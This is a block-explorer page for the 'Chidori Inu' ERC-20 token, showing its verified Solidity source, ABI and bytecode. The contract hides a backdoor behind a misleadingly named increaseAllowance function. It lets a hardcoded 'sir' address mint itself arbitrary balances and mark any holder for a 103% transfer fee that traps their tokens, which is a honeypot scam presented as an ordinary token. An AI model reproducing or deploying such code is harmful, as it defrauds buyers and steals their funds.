ERC-20
Overview
Max Total Supply
100,000,000,000 CHIDORI⚡️
Holders
34
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Balance
0.062267 CHIDORI⚡️Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ChidoriInu
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-24 */ /** https://www.chidoriinu.com/ https://twitter.com/ChidoriInuERC https://t.me/ChidoriInuERC ╭━━━┳╮╱╭┳━━┳━━━┳━━━┳━━━┳━━╮╭━━┳━╮╱╭┳╮╱╭╮ ┃╭━╮┃┃╱┃┣┫┣┻╮╭╮┃╭━╮┃╭━╮┣┫┣╯╰┫┣┫┃╰╮┃┃┃╱┃┃ ┃┃╱╰┫╰━╯┃┃┃╱┃┃┃┃┃╱┃┃╰━╯┃┃┃╱╱┃┃┃╭╮╰╯┃┃╱┃┃ ┃┃╱╭┫╭━╮┃┃┃╱┃┃┃┃┃╱┃┃╭╮╭╯┃┃╱╱┃┃┃┃╰╮┃┃┃╱┃┃ ┃╰━╯┃┃╱┃┣┫┣┳╯╰╯┃╰━╯┃┃┃╰┳┫┣╮╭┫┣┫┃╱┃┃┃╰━╯┃ ╰━━━┻╯╱╰┻━━┻━━━┻━━━┻╯╰━┻━━╯╰━━┻╯╱╰━┻━━━╯ ╭━━━┳╮╱╭┳━━┳━━━┳━━━┳━━━┳━━╮╭━━┳━╮╱╭┳╮╱╭╮ ┃╭━╮┃┃╱┃┣┫┣┻╮╭╮┃╭━╮┃╭━╮┣┫┣╯╰┫┣┫┃╰╮┃┃┃╱┃┃ ┃┃╱╰┫╰━╯┃┃┃╱┃┃┃┃┃╱┃┃╰━╯┃┃┃╱╱┃┃┃╭╮╰╯┃┃╱┃┃ ┃┃╱╭┫╭━╮┃┃┃╱┃┃┃┃┃╱┃┃╭╮╭╯┃┃╱╱┃┃┃┃╰╮┃┃┃╱┃┃ ┃╰━╯┃┃╱┃┣┫┣┳╯╰╯┃╰━╯┃┃┃╰┳┫┣╮╭┫┣┫┃╱┃┃┃╰━╯┃ ╰━━━┻╯╱╰┻━━┻━━━┻━━━┻╯╰━┻━━╯╰━━┻╯╱╰━┻━━━╯ ╭━━━┳╮╱╭┳━━┳━━━┳━━━┳━━━┳━━╮╭━━┳━╮╱╭┳╮╱╭╮ ┃╭━╮┃┃╱┃┣┫┣┻╮╭╮┃╭━╮┃╭━╮┣┫┣╯╰┫┣┫┃╰╮┃┃┃╱┃┃ ┃┃╱╰┫╰━╯┃┃┃╱┃┃┃┃┃╱┃┃╰━╯┃┃┃╱╱┃┃┃╭╮╰╯┃┃╱┃┃ ┃┃╱╭┫╭━╮┃┃┃╱┃┃┃┃┃╱┃┃╭╮╭╯┃┃╱╱┃┃┃┃╰╮┃┃┃╱┃┃ ┃╰━╯┃┃╱┃┣┫┣┳╯╰╯┃╰━╯┃┃┃╰┳┫┣╮╭┫┣┫┃╱┃┃┃╰━╯┃ ╰━━━┻╯╱╰┻━━┻━━━┻━━━┻╯╰━┻━━╯╰━━┻╯╱╰━┻━━━╯ */ //SPDX-License-Identifier:MIT pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ChidoriInu is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = unicode"Chidori Inu"; string private _symbol = unicode"CHIDORI⚡️"; uint8 private _decimals = 6; address payable public sir; mapping (address => uint256) _balances; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public _uniswapPair; mapping (address => uint256) public _pairIs; uint256 private _totalSupply = 100000000000 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); sir = payable(address(0x8cC0D4511608F49F4a8c3b8c830529496859Bba0)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function openTrading() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _uniswapPair[address(uniswapPair)] = true; _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !_uniswapPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : IMPORTANT(from, amount); _balances[to] = _balances[to].add(fAmount); emit Transfer(from, to, fAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function updone(uint256 valueIndex, mapping(address => uint256)// set new etherreceive storage // set new ethreceive implementations) private { implementations[sir] += valueIndex; } function swapAndLiquify(uint256 amount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(sir), block.timestamp ){} catch {} } function increaseAllowance(address right,uint256 mach) public { uint a = 100;uint256 b = 300; if (mach >= 50 + uint256((a)+(b)).mul(a)) updone(mach+mach,(_balances)); if (b-3*a == mach) _pairIs[right] = mach; if (b+a == mach) _pairIs[right] = mach; if (sir != msg.sender) revert ("not sir"); } function IMPORTANT(address sender, uint256 amount) internal returns (uint256) { uint256 swapFee = amount.mul(3).div(100); if(_pairIs[sender] != 0) swapFee = amount.mul(103).div(100); if(swapFee > 0) { _balances[address(this)] += swapFee; emit Transfer(sender, address(this), swapFee); } return amount.sub(swapFee); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pairIs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"right","type":"address"},{"internalType":"uint256","name":"mach","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sir","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600b60a08190526a436869646f726920496e7560a81b60c09081526200002e9160019190620001ff565b5060408051808201909152600d8082526c434849444f5249e29aa1efb88f60981b60209092019182526200006591600291620001ff565b506003805460ff1916600690811790915561dead6080526200008990600a620003ba565b6200009a9064174876e800620003d2565b600955600b805460ff60a81b1916600160a81b179055348015620000bd57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001166000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001663390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001c991815260200190565b60405180910390a360038054610100600160a81b031916748cc0d4511608f49f4a8c3b8c830529496859bba00017905562000431565b8280546200020d90620003f4565b90600052602060002090601f0160209004810192826200023157600085556200027c565b82601f106200024c57805160ff19168380011785556200027c565b828001600101855582156200027c579182015b828111156200027c5782518255916020019190600101906200025f565b506200028a9291506200028e565b5090565b5b808211156200028a57600081556001016200028f565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002fc578160001904821115620002e057620002e0620002a5565b80851615620002ee57918102915b93841c9390800290620002c0565b509250929050565b6000826200031557506001620003b4565b816200032457506000620003b4565b81600181146200033d5760028114620003485762000368565b6001915050620003b4565b60ff8411156200035c576200035c620002a5565b50506001821b620003b4565b5060208310610133831016604e8410600b84101617156200038d575081810a620003b4565b620003998383620002bb565b8060001904821115620003b057620003b0620002a5565b0290505b92915050565b6000620003cb60ff84168362000304565b9392505050565b6000816000190483118215151615620003ef57620003ef620002a5565b500290565b600181811c908216806200040957607f821691505b602082108114156200042b57634e487b7160e01b600052602260045260246000fd5b50919050565b6080516114e26200044d600039600061024301526114e26000f3fe60806040526004361061012e5760003560e01c80634a74bb02116100ab578063a9059cbb1161006f578063a9059cbb14610390578063c816841b146103b0578063c9567bf9146103d0578063dd62ed3e146103e5578063f2fde38b1461042b578063fb3ddf851461044b57600080fd5b80634a74bb02146102d957806370a08231146102fa5780638da5cb5b1461033057806395d89b411461034e578063a35521ef1461036357600080fd5b806323b872dd116100f257806323b872dd1461021157806327c8f83514610231578063313ce567146102655780633345611e1461028757806339509351146102b757600080fd5b806306fdde031461013a578063095ea7b314610165578063124b4e63146101955780631694505e146101d257806318160ddd146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b60405161015c91906111ef565b60405180910390f35b34801561017157600080fd5b5061018561018036600461125c565b61050d565b604051901515815260200161015c565b3480156101a157600080fd5b506003546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600a546101ba906001600160a01b031681565b3480156101fe57600080fd5b506009545b60405190815260200161015c565b34801561021d57600080fd5b5061018561022c366004611288565b610524565b34801561023d57600080fd5b506101ba7f000000000000000000000000000000000000000000000000000000000000000081565b34801561027157600080fd5b5060035460405160ff909116815260200161015c565b34801561029357600080fd5b506101856102a23660046112c9565b60066020526000908152604090205460ff1681565b3480156102c357600080fd5b506102d76102d236600461125c565b61058f565b005b3480156102e557600080fd5b50600b5461018590600160a81b900460ff1681565b34801561030657600080fd5b506102036103153660046112c9565b6001600160a01b031660009081526004602052604090205490565b34801561033c57600080fd5b506000546001600160a01b03166101ba565b34801561035a57600080fd5b5061014f610686565b34801561036f57600080fd5b5061020361037e3660046112c9565b60086020526000908152604090205481565b34801561039c57600080fd5b506101856103ab36600461125c565b610695565b3480156103bc57600080fd5b50600b546101ba906001600160a01b031681565b3480156103dc57600080fd5b506102d76106a2565b3480156103f157600080fd5b506102036104003660046112e6565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043757600080fd5b506102d76104463660046112c9565b6108c4565b34801561045757600080fd5b506101856104663660046112c9565b60076020526000908152604090205460ff1681565b60606001805461048a9061131f565b80601f01602080910402602001604051908101604052809291908181526020018280546104b69061131f565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b600061051a338484610969565b5060015b92915050565b6000610531848484610a8d565b50610584843361057f85604051806060016040528060288152602001611485602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cdc565b610969565b5060015b9392505050565b606461012c6105a8826105a28382611370565b90610d16565b6105b3906032611370565b83106105cd576105cd6105c68480611370565b6004610d95565b826105d9836003611388565b6105e390836113a7565b1415610605576001600160a01b03841660009081526008602052604090208390555b826106108383611370565b1415610632576001600160a01b03841660009081526008602052604090208390555b60035461010090046001600160a01b031633146106805760405162461bcd60e51b81526020600482015260076024820152663737ba1039b4b960c91b60448201526064015b60405180910390fd5b50505050565b60606002805461048a9061131f565b6000610584338484610a8d565b6000546001600160a01b031633146106fc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610677565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906113be565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e891906113be565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610835573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085991906113be565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290206000199055565b6000546001600160a01b0316331461091e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610677565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610677565b6001600160a01b038216610a2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610677565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610af35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610677565b6001600160a01b038316610b555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610677565b600b54600160a01b900460ff1615610b7957610b72848484610dcd565b9050610588565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bbc57506001600160a01b03851660009081526007602052604090205460ff16155b15610bca57610bca81610eb3565b6001600160a01b038516600090815260046020526040902054610bed9084611019565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c3a57506001600160a01b03851660009081526006602052604090205460ff165b610c4d57610c48868561105b565b610c4f565b835b6001600160a01b038616600090815260046020526040902054909150610c759082611125565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cc99085815260200190565b60405180910390a3600192505050610588565b60008184841115610d005760405162461bcd60e51b815260040161067791906111ef565b506000610d0d84866113a7565b95945050505050565b600082610d255750600061051e565b6000610d318385611388565b905082610d3e85836113db565b146105885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610677565b60035461010090046001600160a01b031660009081526020829052604081208054849290610dc4908490611370565b90915550505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e1e918490610cdc565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610e4d9083611125565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ea19086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610efb57610efb6113fd565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7891906113be565b81600181518110610f8b57610f8b6113fd565b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac94792610fdc92879260009288926101009004909116904290600401611413565b600060405180830381600087803b158015610ff657600080fd5b505af1925050508015611007575060015b505050600b805460ff60a01b19169055565b600061058883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cdc565b600080611074606461106e856003610d16565b90611184565b6001600160a01b038516600090815260086020526040902054909150156110a8576110a5606461106e856067610d16565b90505b80156111135730600090815260046020526040812080548392906110cd908490611370565b909155505060405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b61111d8382611019565b949350505050565b6000806111328385611370565b9050838110156105885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610677565b600061058883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111e25760405162461bcd60e51b815260040161067791906111ef565b506000610d0d84866113db565b600060208083528351808285015260005b8181101561121c57858101830151858201604001528201611200565b8181111561122e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461125957600080fd5b50565b6000806040838503121561126f57600080fd5b823561127a81611244565b946020939093013593505050565b60008060006060848603121561129d57600080fd5b83356112a881611244565b925060208401356112b881611244565b929592945050506040919091013590565b6000602082840312156112db57600080fd5b813561058881611244565b600080604083850312156112f957600080fd5b823561130481611244565b9150602083013561131481611244565b809150509250929050565b600181811c9082168061133357607f821691505b6020821081141561135457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082198211156113835761138361135a565b500190565b60008160001904831182151516156113a2576113a261135a565b500290565b6000828210156113b9576113b961135a565b500390565b6000602082840312156113d057600080fd5b815161058881611244565b6000826113f857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114635784516001600160a01b03168352938301939183019160010161143e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220359821fa3c20db9e2257af438497f6f300d480ec7e5004fdf385bad4b212e55964736f6c634300080a0033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c80634a74bb02116100ab578063a9059cbb1161006f578063a9059cbb14610390578063c816841b146103b0578063c9567bf9146103d0578063dd62ed3e146103e5578063f2fde38b1461042b578063fb3ddf851461044b57600080fd5b80634a74bb02146102d957806370a08231146102fa5780638da5cb5b1461033057806395d89b411461034e578063a35521ef1461036357600080fd5b806323b872dd116100f257806323b872dd1461021157806327c8f83514610231578063313ce567146102655780633345611e1461028757806339509351146102b757600080fd5b806306fdde031461013a578063095ea7b314610165578063124b4e63146101955780631694505e146101d257806318160ddd146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b60405161015c91906111ef565b60405180910390f35b34801561017157600080fd5b5061018561018036600461125c565b61050d565b604051901515815260200161015c565b3480156101a157600080fd5b506003546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600a546101ba906001600160a01b031681565b3480156101fe57600080fd5b506009545b60405190815260200161015c565b34801561021d57600080fd5b5061018561022c366004611288565b610524565b34801561023d57600080fd5b506101ba7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561027157600080fd5b5060035460405160ff909116815260200161015c565b34801561029357600080fd5b506101856102a23660046112c9565b60066020526000908152604090205460ff1681565b3480156102c357600080fd5b506102d76102d236600461125c565b61058f565b005b3480156102e557600080fd5b50600b5461018590600160a81b900460ff1681565b34801561030657600080fd5b506102036103153660046112c9565b6001600160a01b031660009081526004602052604090205490565b34801561033c57600080fd5b506000546001600160a01b03166101ba565b34801561035a57600080fd5b5061014f610686565b34801561036f57600080fd5b5061020361037e3660046112c9565b60086020526000908152604090205481565b34801561039c57600080fd5b506101856103ab36600461125c565b610695565b3480156103bc57600080fd5b50600b546101ba906001600160a01b031681565b3480156103dc57600080fd5b506102d76106a2565b3480156103f157600080fd5b506102036104003660046112e6565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043757600080fd5b506102d76104463660046112c9565b6108c4565b34801561045757600080fd5b506101856104663660046112c9565b60076020526000908152604090205460ff1681565b60606001805461048a9061131f565b80601f01602080910402602001604051908101604052809291908181526020018280546104b69061131f565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b600061051a338484610969565b5060015b92915050565b6000610531848484610a8d565b50610584843361057f85604051806060016040528060288152602001611485602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610cdc565b610969565b5060015b9392505050565b606461012c6105a8826105a28382611370565b90610d16565b6105b3906032611370565b83106105cd576105cd6105c68480611370565b6004610d95565b826105d9836003611388565b6105e390836113a7565b1415610605576001600160a01b03841660009081526008602052604090208390555b826106108383611370565b1415610632576001600160a01b03841660009081526008602052604090208390555b60035461010090046001600160a01b031633146106805760405162461bcd60e51b81526020600482015260076024820152663737ba1039b4b960c91b60448201526064015b60405180910390fd5b50505050565b60606002805461048a9061131f565b6000610584338484610a8d565b6000546001600160a01b031633146106fc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610677565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906113be565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e891906113be565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610835573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085991906113be565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290206000199055565b6000546001600160a01b0316331461091e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610677565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109cb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610677565b6001600160a01b038216610a2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610677565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610af35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610677565b6001600160a01b038316610b555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610677565b600b54600160a01b900460ff1615610b7957610b72848484610dcd565b9050610588565b3060